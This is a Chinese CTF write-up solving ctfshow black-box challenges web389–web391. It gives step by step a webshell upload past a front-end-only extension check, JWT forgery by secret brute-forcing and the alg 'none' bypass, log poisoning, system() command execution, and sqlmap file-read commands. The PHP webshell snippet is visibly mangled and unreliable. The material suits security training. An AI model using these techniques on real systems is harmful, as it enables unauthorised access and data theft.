CTFSHOW web入门 黑盒测试 web389-web391

web389

目录扫描

https://867365dc-374b-4b2d-9ebb-2970ca178d02.challenge.ctf.show/alsckdfy/editor/

访问这个路径

/alsckdfy/editor

是一个文本编辑器,能够上传文件

对上传文件格式有要求

要求只能上传以下文件格式,不过这个 zip 格式的可以利用

他这里只做了前端校验,没有做后端校验,直接将 php 格式修改成 zip 格式就行了

木马内容:

<?php

a = '\_PO'.'ST[1]);?>';

file_put_contents('/var/www/html/1.php',$a);

?>

将 php 文件修改成 zip 后缀进行上传

上传成功之后返回一个文件路径

/alsckdfy/attached/file/20260519/20260519063705_40364.zip

然后访问/debug,返回权限不足

抓这个页面的包,发现 cookie 有验证,是 JWT

Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTEwNTE5NywiZXhwIjoxNzc5MTEyMzk3LCJuYmYiOjE3NzkxMDUxOTcsInN1YiI6InVzZXIiLCJqdGkiOiJmM2E5NmJhOWVmYTlkNWI2NjRlMTIyNTE1M2QyYmExYyJ9.OWRz0lSCEImyWNCjcBELc0vETwVyW2TZX36Pev3zqUY

到在线 JWT 平台中解码

这里使用 jwt_tool 对 jwt 密钥进行爆破

密钥是 123456

将 payload 部分中的 sub 修改成 admin

在将对称密钥部分添加为 123456

然后重新编码

得到新的 jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTEwNzg4MCwiZXhwIjoxNzc5MTE1MDgwLCJuYmYiOjE3NzkxMDc4ODAsInN1YiI6ImFkbWluIiwianRpIjoiZDBhNzVkNWFmZGVmNzJiZmZmMmVkZDRlYzc1N2M2MDAifQ.grXHz42iWCBlTeCcP_ioaXbklEGlVeRViw1hRQ8afAM

抓取 /debug 页面的包,然后将新编码得到的 jwt 替换到 cookie 的位置,然后放包

现在返回文件不存在,说明有权限了

将返回的文件路径拼接到/var/www/html 后面,这样写入日志中

/debug/?file=/var/www/html/alsckdfy/attached/file/20260519/20260519063015_89838.zip

访问 1.php

返回这个页面就代表这木马写入成功了

命令执行,查看alsckdfy/check.php 中的 flag

1=system("cat alsckdfy/check.php");

$flag='ctfshow{d1b4daed-0aae-4ec5-a9f8-5ffa996981d2}';

整体思路:

上传木马,拿到木马路径

-> JWT 提权

->进入到/debug

->利用/debug 的 file 参数将木马路径写入,注入到日志中

->访问上传木马文件,命令执行,拿 flag

web390

进行目录扫描,依次访问

/page.php 这个路径和上一题的不一样了,返回内容变了,变成了文章不存在

https://a0342c3d-b9a2-46fe-8083-6360d88f6bb1.challenge.ctf.show/page.php

查看页面源代码

发现是通过 id 进行传值的

还能够使用 arjun 这个参数爆破的工具去爆破

对这个目录参数进行爆破

爆破出来了个 id 参数

arjun.cmd -u https://a0342c3d-b9a2-46fe-8083-6360d88f6bb1.challenge.ctf.show/page.php

测试 sql 注入

确定是存在数字型 sql 漏洞

前者页面正常显示

page.php?id=1 and 1=1

后者页面内容不同

page.php?id=1 and 1=2

因为这个黑盒测试的题目,他的 flag 都存放到 /var/www/html/alsckdfy/check.php

可以通过 sqlmap 直接跑出 flag

sqlmap -u "https://247b4fd0-50b9-4a32-a902-f43b1510d991.challenge.ctf.show/page.php?id=2" --file-read="/var/www/html/alsckdfy/check.php" --batch

将存放 flag 的文件跑了下来,存放到了本地中

$flag='ctfshow{7f6391bf-9b93-44de-96d1-31d5c67178ea}';

第二种方法

访问/debug 返回权限不足

抓包

cookie 中的验证方式是 jwt 验证

这里的 jwt 验证能够通过 none 的方式绕过验证

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NDQxMywiZXhwIjoxNzc5MjcxNjEzLCJuYmYiOjE3NzkyNjQ0MTMsInN1YiI6InVzZXIiLCJqdGkiOiI0ODE2NDQyN2ZlODdiMDY5ZWQ3MDhlMWNlZWVhZjBhNiJ9.9R2iixM8chUim4RFpntyU2j_xEyCaZ-Ft4EnC0lYdbs

去解码

{

"alg": "HS256",

"typ": "JWT"

}

{

"iss": "admin",

"iat": 1779264413,

"exp": 1779271613,

"nbf": 1779264413,

"sub": "user",

"jti": "48164427fe87b069ed708e1ceeeaf0a6"

}

使用脚本伪造

使用 none 的方式绕过 JWT 验证

伪造前

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NjAzNiwiZXhwIjoxNzc5MjczMjM2LCJuYmYiOjE3NzkyNjYwMzYsInN1YiI6InVzZXIiLCJqdGkiOiJkMmM5NmIxNGIyOTA1ZGE1NjVmN2Q1MTgzNjkzYmExYiJ9.0rWYc5TGyE64wxpXs6N0LXauYNAdoEg42CjOzUmCGK8

伪造后

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NTcxNSwiZXhwIjoxNzc5MjcyOTE1LCJuYmYiOjE3NzkyNjU3MTUsInN1YiI6ImFkbWluIiwianRpIjoiZWEzODdlYzhmMjM4ZTUzMzJmOWFmM2U0MDVmMTgyYTYifQ.

将伪造好的 jwt 替换掉原本的 jwt,然后放包

返回文件不存在,这说明校验通过,成功绕过了

后续部分和上一题就是一样的了

来到/alsckdfy/editor 中

从这里上传一个免杀的木马

木马后缀修改成 zip

这里只在前端进行校验,后端不进行校验,

/alsckdfy/attached/file/20260520/20260520084111_97269.zip

上传成功,将得到的路径复制下来

{

"iss": "admin",

"iat": 1779266428,

"exp": 1779273628,

"nbf": 1779266428,

"sub": "user",

"jti": "d26d04ce6e1c61623cce5dc68ee2537a"

}

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2NjQyOCwiZXhwIjoxNzc5MjczNjI4LCJuYmYiOjE3NzkyNjY0MjgsInN1YiI6ImFkbWluIiwianRpIjoiZDI2ZDA0Y2U2ZTFjNjE2MjNjY2U1ZGM2OGVlMjUzN2EifQ.

通过日志投毒的方式,将 php 木马写入到日志中

/debug/?file=/var/www/html/alsckdfy/attached/file/20260520/20260520084111_97269.zip

放包,返回已写入日志

访问 php 木马的文件名

返回这个页面就说明日志投毒成功了

查看 flag 内容

1=system("cat alsckdfy/check.php");

查看源代码,得到 flag

$flag='ctfshow{7f6391bf-9b93-44de-96d1-31d5c67178ea}';

web391

这一题使用上一题的解题方法就能够解出来

不同之处是多了一个搜索框,这里是 sql 注入点

抓取/debug 的包

进行伪造 JWT

使用 none 空加密算法方式伪造绕过校验

这个 none 漏洞的本质是服务器错误地信任了客户端指定的签名算法

这就导致了攻击者可以不需要签名直接伪造 JWT

实施方式是将 header 处的 alg 加密算法修改成 none

再修改 payload 中 user 为 admin

然后删除 signature

最终只剩下 header.payload.

{

"alg": "HS256",

"typ": "JWT"

}

{

"iss": "admin",

"iat": 1779269340,

"exp": 1779276540,

"nbf": 1779269340,

"sub": "user",

"jti": "8dc334ee620632a515ebffe058591daf"

}

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3OTI2OTM0MCwiZXhwIjoxNzc5Mjc2NTQwLCJuYmYiOjE3NzkyNjkzNDAsInN1YiI6ImFkbWluIiwianRpIjoiOGRjMzM0ZWU2MjA2MzJhNTE1ZWJmZmUwNTg1OTFkYWYifQ.

抓取/debug 的包

将生成好的 jwt 替换到 cookie 处

放行,返回文件不存在说明成功绕过

来到这个路径

/alsckdfy/editor

上传免杀木马

直接将木马后缀修改成 zip

这里只对前端进行了校验,后端没有校验

复制返回路径

/alsckdfy/attached/file/20260520/20260520093251_33584.zip

使用日志投毒的方式将木马写入到日志中

/debug/?file=/var/www/html/alsckdfy/attached/file/20260520/20260520093251_33584.zip

这里访问 1.php,返回这个页面说明日志投毒成功了

查看 flag 的位置

1=system("cat alsckdfy/check.php");

查看源码,找到 flag

$flag='ctfshow{72ea011b-d81b-4443-bd73-015e53631ca8}';

第二种方法

这个搜索框处存在 sql 注入漏洞

https://9d856f59-fed2-4960-8497-c8a560713ee7.challenge.ctf.show/search.php?title=1

通过注入

titile=1'

返回空白能够判断处,这里存在字符型 sql 注入

titile=1'-- -

这里页面恢复正常,-- -注释掉了后面的 sql

这就能够确定确实是字符型 sql 注入

使用 sqlmap 将 flag 跑出来

sqlmap -u "https://9d856f59-fed2-4960-8497-c8a560713ee7.challenge.ctf.show/search.php?title=1" --file-read="/var/www/html/alsckdfy/check.php" --batch

$flag='ctfshow{72ea011b-d81b-4443-bd73-015e53631ca8}';

相关推荐
审判长烧鸡1 天前
标准 HTTP API 签名鉴权 Header 完整规范
http·web
Cloud_Shy6181 天前
Python 数据分析基础入门:《Excel Python:飞速搞定数据分析与处理》学习笔记系列(第十一章 Python 包跟踪器 中篇)
数据库·python·sql·数据分析·excel·web
hhhhde_1 天前
CTFSHOW web入门 黑盒测试 web385-web388
web·黑盒测试·ctfshow
审判长烧鸡1 天前
【Go工具】go-playground除了validator还有哪些常用的库
go·web
大数据魔法师2 天前
Streamlit(二)- Streamlit 架构与运行机制
python·web
大数据魔法师2 天前
Streamlit(三)- Streamlit 多页面应用开发
python·web
其实防守也摸鱼3 天前
ctfshow--Crypto(funnyrsa1-密码2)解题步骤
python·安全·web安全·网络安全·密码学·web·工具
曲幽3 天前
你的Agent API还在裸奔?从认证到沙箱,我用FastAPI搭了几道防线
python·fastapi·web·security·jwt·oauth2·limit·sandbox·ai agent
hhhhde_3 天前
CTFSHOW web入门 黑盒测试 web380-web384
web·黑盒测试·ctfshow